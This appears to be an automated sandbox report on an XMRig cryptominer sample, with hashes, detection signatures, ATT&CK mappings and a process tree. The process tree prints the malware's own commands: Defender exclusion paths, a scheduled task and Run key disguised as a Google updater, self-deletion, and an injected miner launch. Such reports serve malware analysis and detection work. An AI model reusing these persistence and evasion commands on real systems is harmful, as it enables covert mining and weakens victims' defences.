xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1488s
max time network
1803s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Size 2.0MB
Sample240123-x6bvbafgem
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1992 created 1188	1992	Gu3PdXt79NF7EJXJ.exe	7
PID 1992 created 1188	1992	Gu3PdXt79NF7EJXJ.exe	7
PID 1992 created 1188	1992	Gu3PdXt79NF7EJXJ.exe	7
PID 1992 created 1188	1992	Gu3PdXt79NF7EJXJ.exe	7
PID 2844 created 1188	2844	updater.exe	7
PID 2844 created 1188	2844	updater.exe	7
PID 2844 created 1188	2844	updater.exe	7
PID 2844 created 1188	2844	updater.exe	7
PID 1308 created 1188	1308	conhost.exe	7
PID 2844 created 1188	2844	updater.exe	7

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral13/memory/2968-68-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2968-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2700	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2844	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2004	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral13/memory/2968-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2968-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2844 set thread context of 1308	2844	updater.exe	48
PID 2844 set thread context of 2968	2844	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	Gu3PdXt79NF7EJXJ.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2692	schtasks.exe
1464	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2608	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0849a239f51da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1992	Gu3PdXt79NF7EJXJ.exe
1992	Gu3PdXt79NF7EJXJ.exe
2696	powershell.exe
1992	Gu3PdXt79NF7EJXJ.exe
1992	Gu3PdXt79NF7EJXJ.exe
2168	powershell.exe
1992	Gu3PdXt79NF7EJXJ.exe
1992	Gu3PdXt79NF7EJXJ.exe
1992	Gu3PdXt79NF7EJXJ.exe
1992	Gu3PdXt79NF7EJXJ.exe
2556	powershell.exe
2844	updater.exe
2844	updater.exe
1800	powershell.exe
2844	updater.exe
2844	updater.exe
2704	powershell.exe
2844	updater.exe
2844	updater.exe
2844	updater.exe
2844	updater.exe
1308	conhost.exe
1308	conhost.exe
2844	updater.exe
2844	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	1800	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2844	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2608	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2608	WMIC.exe
Token: SeSecurityPrivilege	2608	WMIC.exe
Token: SeTakeOwnershipPrivilege	2608	WMIC.exe
Token: SeLoadDriverPrivilege	2608	WMIC.exe
Token: SeSystemtimePrivilege	2608	WMIC.exe
Token: SeBackupPrivilege	2608	WMIC.exe
Token: SeRestorePrivilege	2608	WMIC.exe
Token: SeShutdownPrivilege	2608	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2608	WMIC.exe
Token: SeUndockPrivilege	2608	WMIC.exe
Token: SeManageVolumePrivilege	2608	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2608	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2608	WMIC.exe
Token: SeSecurityPrivilege	2608	WMIC.exe
Token: SeTakeOwnershipPrivilege	2608	WMIC.exe
Token: SeLoadDriverPrivilege	2608	WMIC.exe
Token: SeSystemtimePrivilege	2608	WMIC.exe
Token: SeBackupPrivilege	2608	WMIC.exe
Token: SeRestorePrivilege	2608	WMIC.exe
Token: SeShutdownPrivilege	2608	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2608	WMIC.exe
Token: SeUndockPrivilege	2608	WMIC.exe
Token: SeManageVolumePrivilege	2608	WMIC.exe
Token: SeLockMemoryPrivilege	2968	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 2692	2168	powershell.exe	32
PID 2168 wrote to memory of 2692	2168	powershell.exe	32
PID 2168 wrote to memory of 2692	2168	powershell.exe	32
PID 2700 wrote to memory of 2560	2700	cmd.exe	34
PID 2700 wrote to memory of 2560	2700	cmd.exe	34
PID 2700 wrote to memory of 2560	2700	cmd.exe	34
PID 2556 wrote to memory of 1652	2556	powershell.exe	38
PID 2556 wrote to memory of 1652	2556	powershell.exe	38
PID 2556 wrote to memory of 1652	2556	powershell.exe	38
PID 2004 wrote to memory of 2844	2004	taskeng.exe	40
PID 2004 wrote to memory of 2844	2004	taskeng.exe	40
PID 2004 wrote to memory of 2844	2004	taskeng.exe	40
PID 2704 wrote to memory of 1464	2704	powershell.exe	47
PID 2704 wrote to memory of 1464	2704	powershell.exe	47
PID 2704 wrote to memory of 1464	2704	powershell.exe	47
PID 2844 wrote to memory of 1308	2844	updater.exe	48
PID 2956 wrote to memory of 2608	2956	cmd.exe	49
PID 2956 wrote to memory of 2608	2956	cmd.exe	49
PID 2956 wrote to memory of 2608	2956	cmd.exe	49
PID 2844 wrote to memory of 2968	2844	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1188
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2692
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1464
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1308
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2060
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2956
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2968

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2560

C:\Windows\system32\taskeng.exe
taskeng.exe {81E46B3C-80B2-4614-B479-C2428E29C337} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2844

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 599KB
SHA256 a922ed60a03c51f3a1b712bd6967c47da07c52fa55b090959f71677f2f742028
MD5 db9199b8f6bdae365cbe0ed9c8ffa83a
SHA1 df4efeb1afd347268d48c3fbb1c6af2ba4fdbaf4
SHA512 2a5570e16976d12d297c1d4ba7eb3c385890621228e0b9ed9539e2a258dd5eaea94fd314ceb31ad8c348773ce4506f989219faacd0bafb1f755b4db15256faea
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CBc:rWVipGdVZjdqVC5jd88FC3bc+uxWV+iC
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 296KB
SHA256 cb4c1cc9a6dfc999982efe6a9f3543fa9b977fefb58dcec0de7f371833ff66fa
MD5 0548919fa7811beeadfae4a5627dfa3a
SHA1 526b7d7e7e702a8447268312aeaebdcd9dda4a71
SHA512 b7460a0977a0e2cb9cb3a2eadeb36e302a0d1a3a3fbe4ce455b9dfb4fb2d94ef79025d6849c01ed24a04919c9745057aeee83b50887774098ed7030f080e1d30
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3Fe1:rWVi46hyqG2ckwLxgajd0mAVwb5T3w
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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UK2R2S1D5KOFMX6I6O5A.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UK2R2S1D5KOFMX6I6O5A.temp
Size 7KB
SHA256 3b29adf81af476bf40e52fbb0334705a825682e6dc526a40d89c265f5e28b5a3
MD5 104e930cf0d8451fe5ae244a33c40f2b
SHA1 3a5908a1ddef0e8a7a1f11607e62fb75ede1bbf4
SHA512 9972d8ae3d387d1e9c4baa7ce937769e19dbb08c936ddb7ecaacaf0cbec79d1457a91257c0a505229d0d9caf00e0c29942888af574a2fb8eed098faafa8d4d42
SSDEEP 96:0NGC7RM86nqvsqvJCwoHNGC7RM86nqvsEHyqvJCwormJbOQHmb7awXlUVS:ghRGUothRGAHnormIHb7awB
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 744KB
SHA256 9051a6fb22f54bdeecb0f7d3dfc0ade4eefbed957d90c9c9c90cb85c82899c45
MD5 387e1bd621ef1f01d88461d66bf08729
SHA1 58df79428c66407cee9b6cd88563a1330bf86616
SHA512 22f491a4a750476678477caa6a9622a1fe9a1ddadebc4ab85a1be6126a42e16ca36ef38f93f0a684ad76757b2c1106bfdfcd2234a93ba3c85ecf49d506c0493e
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kNhd7iGb:rWVipGdVZjdqVC5jd88FC3bc+uxWV+ig
MD5 SHA1 SHA512 SSDEEP

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memory/1308-71-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1308-75-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1800-50-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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memory/1800-49-0x00000000001C0000-0x0000000000240000-memory.dmp

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memory/1800-48-0x00000000001C0000-0x0000000000240000-memory.dmp

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memory/1800-51-0x00000000001C0000-0x0000000000240000-memory.dmp

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memory/1800-47-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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memory/1800-52-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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memory/1992-0-0x000000013F060000-0x000000013F271000-memory.dmp

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memory/1992-29-0x000000013F060000-0x000000013F271000-memory.dmp

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memory/2168-23-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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memory/2168-22-0x0000000002690000-0x0000000002710000-memory.dmp

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memory/2168-26-0x0000000002690000-0x0000000002710000-memory.dmp

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memory/2168-25-0x0000000002690000-0x0000000002710000-memory.dmp

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memory/2168-20-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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memory/2168-21-0x0000000001F80000-0x0000000001F88000-memory.dmp

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memory/2168-24-0x0000000002690000-0x0000000002710000-memory.dmp

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memory/2168-27-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

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memory/2168-19-0x000000001B0C0000-0x000000001B3A2000-memory.dmp

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memory/2556-41-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

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memory/2556-36-0x0000000002760000-0x00000000027E0000-memory.dmp

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memory/2556-37-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

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memory/2556-39-0x0000000002760000-0x00000000027E0000-memory.dmp

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memory/2556-35-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

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memory/2556-40-0x0000000002760000-0x00000000027E0000-memory.dmp

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memory/2556-38-0x0000000002760000-0x00000000027E0000-memory.dmp

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memory/2696-13-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

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memory/2696-7-0x0000000002600000-0x0000000002680000-memory.dmp

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memory/2696-8-0x0000000002260000-0x0000000002268000-memory.dmp

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memory/2696-5-0x000000001B0F0000-0x000000001B3D2000-memory.dmp

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memory/2696-6-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

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memory/2696-12-0x0000000002600000-0x0000000002680000-memory.dmp

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memory/2696-10-0x0000000002600000-0x0000000002680000-memory.dmp

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memory/2696-11-0x0000000002600000-0x0000000002680000-memory.dmp

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memory/2696-9-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

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memory/2704-57-0x00000000010B0000-0x0000000001130000-memory.dmp

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memory/2704-54-0x00000000010B0000-0x0000000001130000-memory.dmp

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memory/2704-58-0x00000000010B0000-0x0000000001130000-memory.dmp

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memory/2704-59-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

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memory/2704-55-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

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memory/2704-53-0x000007FEF5F80000-0x000007FEF691D000-memory.dmp

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memory/2704-56-0x00000000010B0000-0x0000000001130000-memory.dmp

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memory/2844-66-0x000000013F200000-0x000000013F411000-memory.dmp

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memory/2844-45-0x000000013F200000-0x000000013F411000-memory.dmp

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memory/2968-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2968-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2968-69-0x0000000000270000-0x0000000000290000-memory.dmp

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memory/2968-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2968-74-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2968-68-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2968-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2968-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2968-78-0x0000000000270000-0x0000000000290000-memory.dmp

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memory/2968-81-0x0000000000290000-0x00000000002B0000-memory.dmp

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memory/2968-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2968-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2968-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2968-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2968-67-0x00000000000B0000-0x00000000000D0000-memory.dmp

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memory/2968-91-0x0000000140000000-0x00000001407F4000-memory.dmp

